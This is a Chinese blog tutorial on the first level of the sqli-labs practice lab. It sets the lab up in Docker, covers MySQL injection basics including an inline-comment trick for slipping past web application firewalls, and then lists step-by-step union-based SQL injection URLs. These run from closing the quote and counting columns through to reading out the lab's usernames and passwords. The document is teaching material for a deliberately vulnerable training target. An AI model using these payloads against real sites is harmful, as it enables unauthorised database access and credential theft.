目 录CONTENT

文章目录

sqli-labs系列——Less-1

CZ
CZ
2023-06-01 / 0 评论 / 1 点赞 / 524 阅读 / 7435 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

本文主要介绍了如何使用sqli-labs的Less-1题目进行SQL注入攻击,包括判断是否存在注入、判断显错位、判断库名、版本号、判断表名、判断列名和判断数据等步骤。同时,还介绍了MySQL的相关知识点,如数据结构、用函数、注释等。在实验环节中,我们通过HackBar插件提交参数,使用union select联合查询,查询数据库中的表名、列名和数据,并且查询结果进行了美化处理。

前言

上节我们讲述了如何使用docker在kali系统中部署我们的sqli-labs靶场,没有部署的可参考如何使用docker在kali中搭建sqli-labs靶场这篇教程,至于为什么不在windows搭建是因为个人原因,个人不喜欢真机部署。不过教程都是一样的操作,本节给大家讲解一下Less-1一些操作知识。

mysql注入有关知识点

  • MySQL 5.X数据结构 在Mysql 5.0以上的版本中,为了方便管理,默认定义information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。 在tables表中,table_schema和table_name分别用来存储数据库名和表名。 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

  • SQL的增删改查 SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1’ AND 字段2 = ‘条件2’ INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,…) UPDATE 表名称 SET 列名称a = 新值 WHERE 列名称 = 某值 DELETE FROM 表名称 WHERE 列名称 = 值

  • MySQL常用函数 user():查看当前Mysql登录用户名 database():查看当前使用Mysql数据库名 version():查看当前Mysql版本 拓展limit关键字 limit m,n 从m行开始,到m+n行。

  • 注释 注释符:在Mysql 中常见的注释符表达式:#或–空格或 /** / 内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF 例如:select * from articles where id = id 使用内联注释注入:select * from articles where id = -1 /!union/ /!select/ 1,2,3,4

实验环节

前期准备

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-1地址

image-1685582576968

由于注入方式的不同,提交参数的方式也不同,get方式可以直接在地址栏添加,而post方式则需要通过工具提交。这里给大家分享老版本未收费的Hackbar插件,地址如下,文末给大家放了蓝奏云链接

hackbar插件下载

实验开始

在ip地址后输入/Less-1,进入sqli-labs第一关

image-1685582636180

根据页面提示Please input the ID as parameter with numeric value(请输入 ID 作为带有数值的参数),按F12进入开发者模式,选择HackBar插件,根据提示在后面分别加上id=1,id=2如下图显示

id=1 图片 id=2 图片-1685585728223

我们发现不同id数值返回的数据也是不同的,由此我们可以看出我们输入的内容是代入到数据库查询了

判断是否存在注入
?id=1' and 1=1 -- xz    #这里的单引号查看是否单引号闭合,后面用-- 去注释,-- 后随便跟什么

and 1=1没有什么问题

图片-1685588740486

试试and 1=2,发现一个很明显的报错

图片-1685588790599

说明当前很可能存在sql注入,使用order by寻找当前的字段数

http://192.168.199.129/Less-1/?id=1'order by 1 and 1=2 -- xz  #order by 1没有任何问题
http://192.168.199.129/Less-1/?id=1'order by 2 and 1=2 -- xz  #order by 2也没有任何问题
http://192.168.199.129/Less-1/?id=1'order by 3 and 1=2 -- xz  #order by 3没有任何问题
http://192.168.199.129/Less-1/?id=1'order by 4 and 1=2 -- xz  #order by 4发现如下图报错,3正常,4异常说明当前存在3个字段

图片-1685589158403

判断我们显错位
http://192.168.199.129/Less-1?id=1'union select 1,2,3 -- xz    #使用union select联合查询,发现页面无任何变化,原因是我们前面的id=1查询结果显示在前面,只有前面查询不到才会显示后面查询结果,所以把id数值改一下
http://192.168.199.129/Less-1?id=-1'union select 1,2,3 -- xz   #这里的2和3代表的就是我们显错位的意思

id=1 图片-1685590312129 id=-1 图片-1685590528090

判断库名

把查询数值2改成database()

http://192.168.199.129/Less-1?id=-1'union select 1,database(),version() -- xz
  #database()查询库名,version()查询版本号

图片-1685595013372

判断表名
http://192.168.199.129/Less-1?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- xz     
#information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有security,不过group_concat()这种函数语法查询可能有时候会遇到问题,推荐大家用下面limit 逐个查询,该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

图片-1685595203562

http://192.168.199.129/Less-1?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1-- xz
#limit 1,1查询第二位,得出referers
http://192.168.199.129/Less-1?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1-- xz
#limit 2,1查询第二位,得出uagents
http://192.168.199.129/Less-1?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1-- xz
#limit 3,1查询第二位,得出users
#至于limit 4,1查询不到任何数据,所以最后得出以上表名

图片-1685601133859

判断列名
http://192.168.199.129/Less-1?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- xz
#查询users表名中的列名

图片-1685603019377

判断数据
http://192.168.199.129/Less-1?id=-1'union select 1,group_concat(username),group_concat(password) from users -- xz

图片-1685603363005

为了格式好看点可以参考以下方法

http://192.168.199.129/Less-1?id=-1'union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users  -- xz
#其中运用到了Ascii码的转化,具体可自行搜索百度百科

图片-1685603508303

1

评论区